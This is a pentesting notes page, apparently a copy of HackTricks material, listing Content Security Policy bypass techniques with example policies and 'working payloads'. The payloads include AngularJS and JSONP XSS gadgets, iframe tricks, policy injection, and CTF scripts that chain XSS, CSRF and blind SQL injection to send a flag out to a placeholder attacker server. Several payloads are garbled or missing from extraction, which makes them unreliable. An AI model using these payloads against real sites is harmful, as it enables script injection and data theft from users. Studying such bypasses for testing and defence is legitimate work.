> For the complete documentation index, see [llms.txt](https://pwc-3.gitbook.io/pwc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pwc-3.gitbook.io/pwc/ji-shu/webpentest2/untitled-4-1.md).

# Content Security Policy (CSP) Bypass

'unsafe-inline' --> Allows

### 'unsafe-eval' <a href="#unsafe-eval" id="unsafe-eval"></a>

```
Content-Security-Policy: script-src https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;
```

Working payload:

### Wildcard <a href="#wildcard" id="wildcard"></a>

```
Content-Security-Policy: script-src 'self' https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url;
```

Working payload: `"/>'>`

### Lack of object-src and default-src <a href="#lack-of-object-src-and-default-src" id="lack-of-object-src-and-default-src"></a>

```
Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url;
```

Working payloads:

*
* `">'>`

### File Upload + 'self' <a href="#file-upload-self" id="file-upload-self"></a>

```
Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;
```

If you can upload a JS file you can bypass this CSP:

Working payload: `"/>'>`

However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.

Moreover, even if you could upload a **JS code inside** a file using a extension accepted by the server (like: *script.png*) this won't be enough because some servers like apache server **selects MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the ***.wave*** extension, therefore it doesn't serve it with a **MIME type like audio/\***.

From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).

### Allowing third party endpoints <a href="#allowing-third-party-endpoints" id="allowing-third-party-endpoints"></a>

#### Arbitrary JS files loaded from whitelisted endpoints <a href="#arbitrary-js-files-loaded-from-whitelisted-endpoints" id="arbitrary-js-files-loaded-from-whitelisted-endpoints"></a>

```
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;
```

Working payloads abusing cdnjs.cloudflare.com:

```
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js">script><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" />script> <div ng-app ng-csp>  {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }} div>"><script src="https://cdnjs.cloudflare.com/angular.min.js">script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}div>​"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> script><div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
```

#### JSONP <a href="#jsonp" id="jsonp"></a>

```
Content-Security-Policy: script-src 'self' https://www.google.com;
```

In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp. [jsonp](https://github.com/zigoo0/JSONBee) endpoints allow insecure callback methods which allow an attacker to perform xss.

Working payload: `">`

The same vulnerability will occur if the **trusted endpoint contains an Open Redirect**, because if the initial endpoint is trusted, redirects are trusted.

### Folder path bypass <a href="#folder-path-bypass" id="folder-path-bypass"></a>

If CSP policy points to a folder and you use **%2f** to encode **"/"**, it is still considered to be inside the folder. All browsers seem to agree on that. This leads to a possible bypass, by using "**%2f..%2f**" if server decodes it. For example, if CSP allows `http://example.com/company/` you can bypass the folder restriction and execute: `http://example.com/company%2f..%2fattacker/file.js`

Online Example: ​<https://jsbin.com/werevijewa/edit?html,output>​

### Through iframes <a href="#through-iframes" id="through-iframes"></a>

```
Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src  'self' ;report-uri /_csp; upgrade-insecure-requests
```

Working payloads:

```
<iframe srcdoc=''>iframe>​* sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)<iframe src='data:text/html,'>iframe>
```

### AngularJS events <a href="#angularjs-events" id="angularjs-events"></a>

Depending on the specific policy, the CSP will block JavaScript events. However, AngularJS defines its own events that can be used instead. When inside an event, AngularJS defines a special `$event` object, which simply references the browser event object. You can use this object to perform a CSP bypass. On Chrome, there is a special property on the `$event/event` object called `path`. This property contains an array of objects that causes the event to be executed. The last property is always the `window` object, which we can use to perform a sandbox escape. By passing this array to the `orderBy` filter, we can enumerate the array and use the last element (the `window` object) to execute a global function, such as `alert()`. The following code demonstrates this:

```
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">?search=#x
```

### AngularJS and whitelisted domain <a href="#angularjs-and-whitelisted-domain" id="angularjs-and-whitelisted-domain"></a>

```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```

If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable class. For more details visit this awesome [git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22) repo.

Working payloads:

```
">ng-app"ng-csp ng-click=$event.view.alert(1337)>
```

### Bypass CSP with dangling markup <a href="#bypass-csp-with-dangling-markup" id="bypass-csp-with-dangling-markup"></a>

Read [how here](https://book.hacktricks.xyz/pentesting-web/dangling-markup-html-scriptless-injection).

### 'unsafe-inline'; img-src \*; via XSS <a href="#unsafe-inline-img-src-via-xss" id="unsafe-inline-img-src-via-xss"></a>

```
default-src 'self' 'unsafe-inline'; img-src *;
```

`'unsafe-inline'` means that you can execute any script inside the code (XSS can execute code) and `img-src *` means that you can use in the webpage any image from any resource.

You can bypass this CSP exfiltrating the data via images (in this occasion the XSS abuses a CSRF where a page accessible by the bot contains a SQLi, and extract the flag via an image):

```
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```

From: <https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle>​

You could also abuse this configuration to **load javascript code inserted inside an image**. If for example, the page allows to load images from twitter. You could **craft** an **special image**, **upload** it to twitter and abuse the "**unsafe-inline**" to **execute**a JS code (as a regular XSS) that will **load** the **image**, **extract** the **JS** from it and **execute** **it**: <https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/>​

### &#x20;img-src \*; via XSS (iframe) - Time attack <a href="#img-src-via-xss-iframe-time-attack" id="img-src-via-xss-iframe-time-attack"></a>

Notice the lack of the directive `'unsafe-inline'` This time you can make the victim **load** a page in **your control** via **XSS** with a`. This time you are going to make the victim access the page from where you want to extract information (`**`CSRF`**`). You cannot access the content of the page, but if somehow you can`` `**`control the time the page needs to load`**` ``you can extract the information you need.`

`This time a`` `**`flag`**` ``is going to be extracted, whenever a`` `**`char is correctly guessed`**` ``via SQLi the`` `**`response`**` ``takes`` `**`more time`**` ``due to the sleep function. Then, you will be able to extract the flag:`

```
<iframe name=f id=g></iframe> <script>let host = "http://x-oracle-v1.nn9ed.ka0labs.org";function gen(x) {	x = escape(x.replace(/_/g, '\\_'));	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`; }​function gen2(x) {	x = escape(x);	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;}​async function query(word, end=false) { 	let h = performance.now();	f.location = (end ? gen2(word) : gen(word));	await new Promise(r => {		g.onload = r; 	});	let diff = performance.now() - h;	return diff > 300;}​let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');let postfix = '}'​async function run() {	let prefix = 'nn9ed{';	while (true) {		let i = 0;		for (i;i<alphabet.length;i++) {			let c = alphabet[i];			let t =  await query(prefix+c); 			console.log(prefix, c, t);			if (t) {				console.log('FOUND!')				prefix += c;				break;			}		}		if (i==alphabet.length) {			console.log('missing chars');			break;		}		let t = await query(prefix+'}', true);		if (t) {			prefix += '}';			break;		}	}	new Image().src = 'http://PLAYER_SERVER/?' + prefix; 	console.log(prefix);}​run();</script>
```

```
document.querySelector('DIV').innerHTML="";
```

## `Policy Injection` <a href="#policy-injection" id="policy-injection"></a>

**`Research:`** [**`https://portswigger.net/research/bypassing-csp-with-policy-injection`**](https://portswigger.net/research/bypassing-csp-with-policy-injection)**`​`**

### `Chrome` <a href="#chrome" id="chrome"></a>

`If a`` `**`parameter`**` ``sent by you is being`` `**`pasted inside`**` ``the`` `**`declaration`**` ``of the`` `**`policy,`**` ``then you could`` `**`alter`**` ``the`` `**`policy`**` ``in some way that makes`` `**`it useless`**`. You could`` `**`allow script 'unsafe-inline'`**` ``with any of these bypasses:`

```
script-src-elem *; script-src-attr *script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```

`Because this directive will`` `**`overwrite existing script-src directives`**`. You can find an example here:` [`http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E`](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)`​`

### `Edge` <a href="#edge" id="edge"></a>

`In Edge is much simpler. If you can add in the CSP just this:`` `**`;_`** **Edge** would **drop** the entire **policy**. Example: <http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>​

## `Checking CSP Policies Online` <a href="#checking-csp-policies-online" id="checking-csp-policies-online"></a>

*
*

## `Automatically creating CSP` <a href="#automatically-creating-csp" id="automatically-creating-csp"></a>

`​`[`https://csper.io/docs/generating-content-security-policy`](https://csper.io/docs/generating-content-security-policy)`​`

## `References` <a href="#references" id="references"></a>

`​`
